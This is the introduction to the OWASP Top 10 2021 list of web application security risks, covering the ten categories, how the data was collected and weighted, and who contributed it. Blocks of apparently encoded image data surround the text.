hREAdTGgBUAROwoS1noIeESiJBYAR2v5m0LcDzTz3eDF+2+kjtZW8aRP9k7xN3xvrHpVXxcrDL3ayAD5b07DdCwGLIn/obHUpz3sv/qf7v5f+5J549zH3RLHHrJzWTdq4P5x9u0XEZhsm9lR96gbtuad/cfF9R705BwBurujPRMTtLBYXwB7JLmNq7XJlQR/cf+Wj7g9P/do99Loe0KpHanqqO7vbeTbGuCYnb41FRElMP77/OEYwKRvP9Kf+dRDwx4/0k1EfuU+GfeQeuPExq8M/L3vQ3fzUTSrrX5ZR6bTSVtZlva8km6gsuxeisuyg/rBizHjblV0H7gv7rvK8wLQQVZojJdXXWDoQYOww9Tfj+CuB9S++G6Kx+k8ba/668B40EDRQdBpoIPA5XSBz5vIJrkejM5Uxvz47LXLzIcWiqUSNDEU6r3ecm796uiLrrjPQmiL2lG1hCGQ0fM4nBl6pFb6jzat3yPEnBQQTDXjK0m8NfLao0TG616u2cyPmDDBg2khmxF7If+naubZAl5GqaLfaFzUvIUgNk0smiEz24kIEXyb9BDthsklAFMCCF/zLmCAThOUvf/mLTYphrm677TYDdKQDhLJ1ip/ow0xhqgtI5DnLZ0AjwsQ3LpgAAgABcJgfs30GIAbBNBBzTM6R1xyxkOQN2OHlBUAEoCIdoA+g4QU/PF5MpokmmyhM+PGpoz1+uxEmxXfeeWeOSSSBdwBDgAT0gWDaSH2ZODPPSTaBZoIPa4pZI0CEcrzA8mGiDBMMCEAATAB7ADR58kJ/+Qn+e4BH/D8Rfp/pD/RGnfiNAcwzn0EAjOgRQIGZNboHdALQScs1gF7KxiyWFwJwwuw0Uex3NLuu/hwgk7FGkB4WOAg+BOAkX8A/gm4YC4AXWGbGAQGHEBYKAKGeUSUt/qvUnXEIE8hCi2fYuAawxjhDpyyGIIB9gl+hd5hKxi8CIMOcFpCKAOS4jiA/LIL4rZTsZPYf2oke0UsyYfwzNlnE8NszwaDjK+3BLtfHF0fIh+8AaL9IQ9+gN8A4izH0DWOR4EEekLJAwnilr6kP+SYbJ7DX9DP5e9YyWd1hjekz/F8pn/sIcIw+qAsCC8z4p56ZmZm26MMY88Kzw/ctx6gXTKwXmH3GOYtWLJgB6OPj0qfz79zvgPysrCxbZPDHf07vsmjN++5fu2O9m7hBwQps6opaMOdgGhtNLO1D9p/o4cQ5TWOVJeaI5u+mmz0uTPwxeURgfkhHoBnAZ4UysE8KZ5Q9WSVPIp/yj5uYfGHVGJSJwjWwpKShvgStwYR4hYI41dB2GOQBcEPIF9NDgAv1jSQyscTv0gM00lHHCGzlnlhnX7THm/cv9W3w7BYAAyFPJtiARYTolhu1xcmmLZvFNMkhukRJq6e1g3oW115aG/VDrwc3gWl4yO6SSv2E3uuFvLgGyTmmr7QbfViZ0q3PF71jsr0On9/0DANr5E399Ed9sFtX6BydLBKYhnljux/8hWlTfu3z9cGHkKBQBLKgDYyjRKHd6IKyc0TtYVz4ccJnzLUBaRYUQ3Ukei7bt7BPKVF3yXq1ghexByzbC8GufjP5a/eXvv+wLZHQzaKVi9zpd5/gzu76C3f9Kb/JGW++j/JqE9ococjRj7x/v+uh6LiXi9WnurDKtz/3B+3FmWLRjBN9UdEpOiTIEtvfVFb9YWIZa/QN4IvtZpIFq9o9BqO+Qze0AS35RQA7ZmMqMl337fDlcl8AnrEMYNyZb7EuisZFpO/4NX58+rFCOj7zD+HeWSfTc8Y6bfbpaKOVJVP9ajJ5TlYWOfixT17UUXeZct49NhPLs/5QNTn+99f/YgtJ3z48KWeMTpDVxtUPXeKuOvE6d5ai/wY58BpgLNRNqelqp1Q/8IWFEg4KDXw1+wP36qh/K1J5OXdnH+1pbIxq4auGiTDPgPKKAG0P7IQs+BmL/wwknM75yr6pL426z34viQ7cKSualOck+AE+ADoAVTCeicLvabK5SmK6ZN8BgwAU2K8fUjCF5nmeX7mAc0AFIKeohMUD2rs389L8yuN6zEsBAgURAATzNMBOfkIAINoKyCkKoY787iXTMfpnzFAWgImFAoBlXNDV3urCuKR9gOq4+GiweekZgEvee9NJPM9kn2kjCxh7E8Y54BhzbEycEcYf5seYsgPoWeDwAmgD9OVVf5/OvwPg0SGLF7DXeQn1YBGKBQOsCVgg8MJ45/72YN4f553xQwAxymBeVpSC1QYRrC8Vs4yParLxUpTlHYx5RcueBa6ZppECjMmEQcUE3gusizEv/kCSdybFTGgJuAGghCmJi+WZPTGN8hfRqPSwifkJk6eIVSwm5rOqsUnx9ORFcJW9CekSg7ns7RoPgn06P/H338lzVyzaIGAB06jSZaOJflxnVk+1F9Nj2pQT8Xi3mu0G8Xn7dw+O/XeujZdJvuTFQ7K8tqHhuy+Xz0qeI3z3CwqYWHMO3XrZW/tIhy8v/QsUoi7JhPrwL5n4cQIgKptWVmMg6jsAC8G0CJzzlXyFMfclCu3X2kZlwpxxtvcowJcIuq8MfcG2TsE8lS1RAOdHtuxu+ktsQ+J3dID+0BfmypgafzFxsHxgKwpsVtG+skPdd9pG5oKjL87Fnvq2eB2yKIAO/Xd/Hr0Q4TaZbkibOAYT+5d8fJ1J7yVeTkXV1est5zwlxtJznO+JYyWxXixO+O2h/PW5ypIZeUHKyilPLIwXKz9hjFjb1CyAqvkdi9X9xxt/tW2W8NF+efAL8uUuo8jGuyNI+vzCe9BA0EDRaKBjvWPdW2P/Y7/TkxaPcG3qdNunjNmSKD8pCDjF/5QtbZavX+iaiYXFtPh/IYlsbLwO+wpOyYMJcTLQG8//QHwuCOgsKDgoTP0ARXsDXXvLD7awoOCUvBKZvLzy96x4XucLezw/4FYQ/RdET3mNy73lnwhoC9s2nz6/Nvo0vDOnwhQZZh/LBVhFAi7hEw7jjtlyXGCSCyOwtwgALz/hXsO8mrGN+XAcoOY33gGlyaIt51dWQc/hM49gIv1zBKe0vZAAlUsOhDApPhD5RhPuA5NzUeaaf/sTAUKRllwIxXswsm/lF00r4nUgx6a1m8tk9TL3/Gf9xKT+S5Mn+TyJvftljwvdCR1OMv9l+Mb3hr/thoz/3Bh7tqj5y0X32rYtHtgVpE2U3VwRozGHfkF+zQ+8c5+xmARIuvDovu547fOKX25+Eq9/PF3RaCeeY+7PeZWbO1XBv+VX36Iuy9eKvrpIiwAbZPb/saJevzrkJTOTJ4r3NWJPG9VslAPU/TXhPWggaKBoNMC+tr2anONGzR/k1m1dVTSZ7mMu2xS4cPO2DbKOynJNq2t7Cfm5Bgka+ClpAFCSF9D8qbSTRQXMd2EwYThheAGsmC9jMuyjO+9re/G9BnjiN743wXeULXgITpW4Hczeri3q85AQmEvDLnu/9qIu48eQXyFNfH8MTQp1/LlpgFU42DUDRqIjic6M+atnGjnHShfstplhaDGkMGbbifpMWp4sCwoDdhPzDN8LrgFYcPoY1p9tf1hjQfcHChgXvGY/n5QsUAQT359Pf4eWBg0EDQQNBA0EDfyQGjhIGNQfssmhrJ+aBgAmOWawgJWEBgJeCPaD+EAJCUkK9XVv5RUqs5C40BrAP9r3MUG9ggQNBA0EDQQNBA0EDQQNBA38dDSQL0AV7+TSimuPpEK116curM3uD31doRqlxD90/UJ5he2h5OmDHn/cekle+7yPhv5Orpui1QtP95IENQsSNBA0EDQQNBA0EDQQNFDEGsjXxLeIywrZBQ0EDQQNBA0EDQQNBA0EDQQNBA0EDQQNBA3kqYGijYucZzHhRNBA0EDQQNBA0EDQQNBA0EDQQNBA0EDQQNBA/hoIADV//YSzQQNBA0EDQQNBA0EDQQNBA0EDQQNBA0EDP5AGAkD9gRQdigkaCBoIGggaCBoIGggaCBoIGggaCBoIGshfAwGg5q+fcDZoIGggaCBoIGggaCBoIGggaCBoIGggaOAH0kAAqD+QokMxQQNBA0EDQQNBA0ED/xsNsC/21q1bw37J/xv1h1KDBoIGggYKpYGwT0Ch1BUSBw0EDQQNBA0EDQQN/Jg0sHHjRrdixQo3ZswY17lzZ1e+fHlXqlSpXE2YPXu22759ux0rUaKEq1KliitbtmyuNAfyCwB67ty5bsKECe744493JUuWLHRx27Ztszxob82aNV3VqlULnUe4IGggaCBo4GDQQACoB0MvhDoEDQQNBA0EDQQNBA0cEA28+eabburUqe6bb76x10knneSOOOIIV7x48Zzy/vjHPxooLV26tEtPT3ekadOmTc75A/EBQDx06FB36KGHugoVKrjRo0e7Bx980PXs2bPQAHXLli3uueeec5MmTXLFihVzO3bscPfee69LS0s7EFUPeQYNBA0EDRxQDQQT3wOq3pB50EDQQNBA0EDQQNDA/1IDy5cvdx988IEbP368++STT9y6dev2MPV96aWXXEZGhmvZsqVr1qyZK1eunIORXL16tVu/fr1bvHixgT7aAfhbunSpvTzryvE1a9bYNbC1lLlr1y5jZWFGN2/eTJIc4dyiRYvcfffd54YPH27XcgxwuWnTJitvw4YNOen5AAjlGuoE4xqXKVOmuIceesjVrl3bWOIyZcpYGvJcsmRJTlLMnLke8Z/RB2koj887d+6087SN7+gBgZldsGCB6YPv5EOdvNBGn7c/Ft6DBoIGggb2RQOBQd0XrYVrggaCBoIGggaCBoIGfhQaSElJcfXr1zewmJmZmSc7CWvaoUMHaxPAbuzYse7xxx/PMQm+8MILzTT4rbfectOnTzcACpg97bTTXOXKld3TTz9tIA5QB1Dr2rWrmzFjhoE/AOPtt9/uKlasaPkDAp955hn37bffumeffdbS1alTx82fP9898MADZpJct25dd84557iGDRsaA/zee+9ZXtTt2GOPtfxhexHKA0A2b97c9enTx51xxhnukEMOseO/+c1vrCy+U97nn3/ubr75ZgPs1AEwDtNKWwDAPXr0MFaXtJhFU9aqVavchx9+aCAWcHz22WcbGw3ze+6555pOYXA5d/XVV1udwp+ggaCBoIF91UBgUPdVc+G6oIGggaCBoIGggaCBg14DsKJnnXWWAa9f/OIXrlatWgbeEiv+7rvvmpns66+/bkAN5vONN94wdhNzX4Bh//793aeffuqaNm3q6tWr595//303aNAgYxUHDBjgvvzySwfQhE3FXBewijkxZsak8wJTCvAEYAKe+YzAnsJsAqSHDRvmyJNj1GPy5MmuXbt2VvfXXnvN4TfrBWBKOffcc4+74447HIwqAisKOwwbCngEMAM0AcizZs1ytBWG+LDDDnP43mJyTBuQgQMHmtnxsmXL3FNPPWXp2rdvb++AatjURx55JIdFvfvuu3PYV8sg/AkaCBoIGthHDQSAuo+KC5cFDQQNBA0EDQQNBA0c/Bro1q2bO+6449xll13mTj31VGMKYRMTBcAFMwrww3QVEAnYvOaaa+w6fFYJYtSqVStjCa+77joHy8mxtWvXWna9evVyF198sbGqlHHJJZe4Sy+91JhNTIy9kNcJJ5zgKlWq5I455hgLjMQ5yrviiitc3759DbQCImE1YTIxK8bUGEA5cuTIXKa71apVc7fccos7+eSTDWBee+211hbvZ0tbEN79Z75nZWVZ+2CPjzrqKPtOeyZOnGjXt2jRwnRB3VeuXGkML4AZFhadLly40JhY/Gf5zAJAkKCBoIGggf3VQDDx3V8NhuuDBoIGggaCBoIGggYOag1gisorP8E0tm3bthY8CZNdBNNcmFIE0Io/JvkA/FJTUy3SL8fwS4VhrVGjhiPQEhGAMZ0FgCJEDva+nHZAf0iP8O4/Y2pLHqQlf8Agvp2wn0QWpmzYXECyZ10tE/0h2BJsLEDzzDPPdJgEX3DBBXaa65FEYE77AMUI5sfki7/uyy+/bGXCPnMtUYWJCkz5RELmBZt7+OGHu7ffftvS9O7d20ydLbPwJ2ggaCBoYD80EADqfigvXBo0EDQQNBA0EDQQNPDT0ABAzYM+H/zIA0daSBAlACTsImwifp8wnIA1wGgyiV+feN4zmTCkANxE8ecBuQBJyoeh5TM+oR78ct2oUaOMGQVgwor6QEcAYwQGlrZhouzztRMJfwC5mBVjFgyr2rhxY/Nt5RqAM6wvYJX2Y5583nnnudtuu81MmfHXDRI0EDQQNFAUGggAtSi0GPIIGggaCBoIGggaCBr4UWsgGXCLA0wYRAIG4XeJTyvnAIOY6AJc+e7T7y0vFAXQA1D+/e9/N19PTJE90+kVSX7saQq7SxCiq666ythbmM3LL788Z69WzH8BiLC8MK74pFJH9ns9/fTTHSa/+N4i8TryOV5XAGmm/F9hUflM2YDdU045xXxXMe3lmk6dOplpMKwpAZcQdBMkaCBoIGigKDRQTA+ayMakKHILeQQNBA0EDQQNBA0EDQQN/Mg0wPYzgC5YSoSpEdvF4I+K2S8BhBD8Pwk0hC8oxwCo+KHymai/ALrq1asbwzhnzhzbtoYowvhwYrLbqFEjy4c/gNGZM2daQCPY0AYNGrh58+ZZeZwjSBPMKgGZ8HGlXIAownYyMKIAYwRGk71e2S6GcqgT/qMI13GOegCyAbBEKyYvogZ7s2ZLrD/Um7IBqLCmCNvmUFd0Qlsxe6Z8QHbr1q1dly5d3KOPPmppw5+ggaCBoIH91UAAqPurwXB90EDQQNBA0EDQQNDAj1oDANI4k+gbk9dxWEXSx306E9PGv8c/+7z9ezyveDo+I/F6AVj57oMf+Tz8O6bJnIvXi3P5lRHP3+cTr4c/xjvlk7fPn2jBRA8m4q/foieePnwOGggaCBrYFw0EgLovWgvXBA0EDQQNBA0EDQQNBA38zDUA08r2Oeeff76ZE//M1RGaHzQQNFBEGggAtYgUGbIJGggaCBoIGggaCBoIGvg5aQBGFdYWs+IgQQNBA0EDRaWBAFCLSpMhn6CBoIGggaCBoIGggaCBoIGggaCBoIGggf3SwJ47Ve9XduHioIGggaCBoIGggaCBoIGggaCBoIGggaCBoIF900AAqPumt3BV0EDQQNBA0EDQQNBA0EDQQNBA0EDQQNBAEWsgANQiVmjILmggaCBoIGggaCBoIGggaCBoIGggaCBoYN808P+9llBBedPZtAAAAABJRU5ErkJggg==)
- **A01:2021-Broken Access Control** moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category.
- **A02:2021-Cryptographic Failures** shifts up one position to #2, previously known as **A3:2017-Sensitive Data Exposure**, which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise.
- **A03:2021-Injection** slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition.
- **A04:2021-Insecure Design** is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to "move left" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks.
- **A05:2021-Security Misconfiguration** moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for **A4:2017-XML External Entities (XXE)** is now part of this risk category.
- **A06:2021-Vulnerable and Outdated Components** was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores.
- **A07:2021-Identification and Authentication Failures** was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping.
- **A08:2021-Software and Data Integrity Failures** is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. **A8:2017-Insecure Deserialization** is now a part of this larger category.
- **A09:2021-Security Logging and Monitoring Failures** was previously **A10:2017-Insufficient Logging & Monitoring** and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics.
- **A10:2021-Server-Side Request Forgery** is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time.
## Methodology
This installment of the Top 10 is more data-driven than ever but not blindly data-driven. We selected eight of the ten categories from contributed data and two categories from the Top 10 community survey at a high level. We do this for a fundamental reason, looking at the contributed data is looking into the past. AppSec researchers take time to find new vulnerabilities and new ways to test for them. It takes time to integrate these tests into tools and processes. By the time we can reliably test a weakness at scale, years have likely passed. To balance that view, we use a community survey to ask application security and development experts on the front lines what they see as essential weaknesses that the data may not show yet.
There are a few critical changes that we adopted to continue to mature the Top 10.
## How the categories are structured
A few categories have changed from the previous installment of the OWASP Top Ten. Here is a high-level summary of the category changes.
Previous data collection efforts were focused on a prescribed subset of approximately 30 CWEs with a field asking for additional findings. We learned that organizations would primarily focus on just those 30 CWEs and rarely add additional CWEs that they saw. In this iteration, we opened it up and just asked for data, with no restriction on CWEs. We asked for the number of applications tested for a given year (starting in 2017), and the number of applications with at least one instance of a CWE found in testing. This format allows us to track how prevalent each CWE is within the population of applications. We ignore frequency for our purposes; while it may be necessary for other situations, it only hides the actual prevalence in the application population. Whether an application has four instances of a CWE or 4,000 instances is not part of the calculation for the Top 10. We went from approximately 30 CWEs to almost 400 CWEs to analyze in the dataset. We plan to do additional data analysis as a supplement in the future. This significant increase in the number of CWEs necessitates changes to how the categories are structured.
We spent several months grouping and categorizing CWEs and could have continued for additional months. We had to stop at some point. There are both *root cause* and *symptom* types of CWEs, where *root cause* types are like "Cryptographic Failure" and "Misconfiguration" contrasted to *symptom* types like "Sensitive Data Exposure" and "Denial of Service." We decided to focus on the *root cause* whenever possible as it's more logical for providing identification and remediation guidance. Focusing on the *root cause* over the *symptom* isn't a new concept; the Top Ten has been a mix of *symptom* and *root cause*. CWEs are also a mix of *symptom* and *root cause*; we are simply being more deliberate about it and calling it out. There is an average of 19.6 CWEs per category in this installment, with the lower bounds at 1 CWE for **A10:2021-Server-Side Request Forgery (SSRF)** to 40 CWEs in **A04:2021-Insecure Design**. This updated category structure offers additional training benefits as companies can focus on CWEs that make sense for a language/framework.
## How the data is used for selecting categories
In 2017, we selected categories by incidence rate to determine likelihood, then ranked them by team discussion based on decades of experience for *Exploitability*, *Detectability* (also *likelihood*), and *Technical Impact*. For 2021, we want to use data for *Exploitability* and *(Technical) Impact* if possible.
We downloaded OWASP Dependency Check and extracted the CVSS Exploit, and Impact scores grouped by related CWEs. It took a fair bit of research and effort as all the CVEs have CVSSv2 scores, but there are flaws in CVSSv2 that CVSSv3 should address. After a certain point in time, all CVEs are assigned a CVSSv3 score as well. Additionally, the scoring ranges and formulas were updated between CVSSv2 and CVSSv3.
In CVSSv2, both *Exploit* and *(Technical) Impact* could be up to 10.0, but the formula would knock them down to 60% for *Exploit* and 40% for *Impact*. In CVSSv3, the theoretical max was limited to 6.0 for *Exploit* and 4.0 for *Impact*. With the weighting considered, the Impact scoring shifted higher, almost a point and a half on average in CVSSv3, and exploitability moved nearly half a point lower on average.
There are 125k records of a CVE mapped to a CWE in the National Vulnerability Database (NVD) data extracted from OWASP Dependency Check, and there are 241 unique CWEs mapped to a CVE. 62k CWE maps have a CVSSv3 score, which is approximately half of the population in the data set.
For the Top Ten 2021, we calculated average *exploit* and *impact* scores in the following manner. We grouped all the CVEs with CVSS scores by CWE and weighted both *exploit* and *impact* scored by the percentage of the population that had CVSSv3 + the remaining population of CVSSv2 scores to get an overall average. We mapped these averages to the CWEs in the dataset to use as *Exploit* and *(Technical) Impact* scoring for the other half of the risk equation.
## Why not just pure statistical data?
The results in the data are primarily limited to what we can test for in an automated fashion. Talk to a seasoned AppSec professional, and they will tell you about stuff they find and trends they see that aren't yet in the data. It takes time for people to develop testing methodologies for certain vulnerability types and then more time for those tests to be automated and run against a large population of applications. Everything we find is looking back in the past and might be missing trends from the last year, which are not present in the data.
Therefore, we only pick eight of ten categories from the data because it's incomplete. The other two categories are from the Top 10 community survey. It allows the practitioners on the front lines to vote for what they see as the highest risks that might not be in the data (and may never be expressed in data).
## Why incidence rate instead of frequency?
There are three primary sources of data. We identify them as Human-assisted Tooling (HaT), Tool-assisted Human (TaH), and raw Tooling.
Tooling and HaT are high-frequency finding generators. Tools will look for specific vulnerabilities and tirelessly attempt to find every instance of that vulnerability and will generate high finding counts for some vulnerability types. Look at Cross-Site Scripting, which is typically one of two flavors: it's either a more minor, isolated mistake or a systemic issue. When it's a systemic issue, the finding counts can be in the thousands for a single application. This high frequency drowns out most other vulnerabilities found in reports or data.
TaH, on the other hand, will find a broader range of vulnerability types but at a much lower frequency due to time constraints. When humans test an application and see something like Cross-Site Scripting, they will typically find three or four instances and stop. They can determine a systemic finding and write it up with a recommendation to fix on an application-wide scale. There is no need (or time) to find every instance.
Suppose we take these two distinct data sets and try to merge them on frequency. In that case, the Tooling and HaT data will drown the more accurate (but broad) TaH data and is a good part of why something like Cross-Site Scripting has been so highly ranked in many lists when the impact is generally low to moderate. It's because of the sheer volume of findings. (Cross-Site Scripting is also reasonably easy to test for, so there are many more tests for it as well).
In 2017, we introduced using incidence rate instead to take a fresh look at the data and cleanly merge Tooling and HaT data with TaH data. The incidence rate asks what percentage of the application population had at least one instance of a vulnerability type. We don't care if it was one-off or systemic. That's irrelevant for our purposes; we just need to know how many applications had at least one instance, which helps provide a clearer view of the testing is findings across multiple testing types without drowning the data in high-frequency results. This corresponds to a risk related view as an attacker needs only one instance to attack an application successfully via the category.
## What is your data collection and analysis process?
We formalized the OWASP Top 10 data collection process at the Open Security Summit in 2017. OWASP Top 10 leaders and the community spent two days working out formalizing a transparent data collection process. The 2021 edition is the second time we have used this methodology.
We publish a call for data through social media channels available to us, both project and OWASP. On the OWASP Project page, we list the data elements and structure we are looking for and how to submit them. In the GitHub project, we have example files that serve as templates. We work with organizations as needed to help figure out the structure and mapping to CWEs.
We get data from organizations that are testing vendors by trade, bug bounty vendors, and organizations that contribute internal testing data. Once we have the data, we load it together and run a fundamental analysis of what CWEs map to risk categories. There is overlap between some CWEs, and others are very closely related (ex. Cryptographic vulnerabilities). Any decisions related to the raw data submitted are documented and published to be open and transparent with how we normalized the data.
We look at the eight categories with the highest incidence rates for inclusion in the Top 10. We also look at the Top 10 community survey results to see which ones may already be present in the data. The top two votes that aren't already present in the data will be selected for the other two places in the Top 10. Once all ten were selected, we applied generalized factors for exploitability and impact; to help rank the Top 10 2021 in a risk based order.
## Data Factors
There are data factors that are listed for each of the Top 10 Categories, here is what they mean:
- CWEs Mapped: The number of CWEs mapped to a category by the Top 10 team.
- Incidence Rate: Incidence rate is the percentage of applications vulnerable to that CWE from the population tested by that org for that year.
- Weighted Exploit: The Exploit sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.
- Weighted Impact: The Impact sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.
- (Testing) Coverage: The percentage of applications tested by all organizations for a given CWE.
- Total Occurrences: Total number of applications found to have the CWEs mapped to a category.
- Total CVEs: Total number of CVEs in the NVD DB that were mapped to the CWEs mapped to a category.
## Thank you to our data contributors
The following organizations (along with some anonymous donors) kindly donated data for over 500,000 applications to make this the largest and most comprehensive application security data set. Without you, this would not be possible.
- AppSec Labs
- Cobalt.io
- Contrast Security
- GitLab
- HackerOne
- HCL Technologies
- Micro Focus
- PenTest-Tools
- Probely
- Sqreen
- Veracode
- WhiteHat (NTT)
## Thank you to our sponsor
The OWASP Top 10 2021 team gratefully acknowledge the financial support of Secure Code Warrior and Just Eat.
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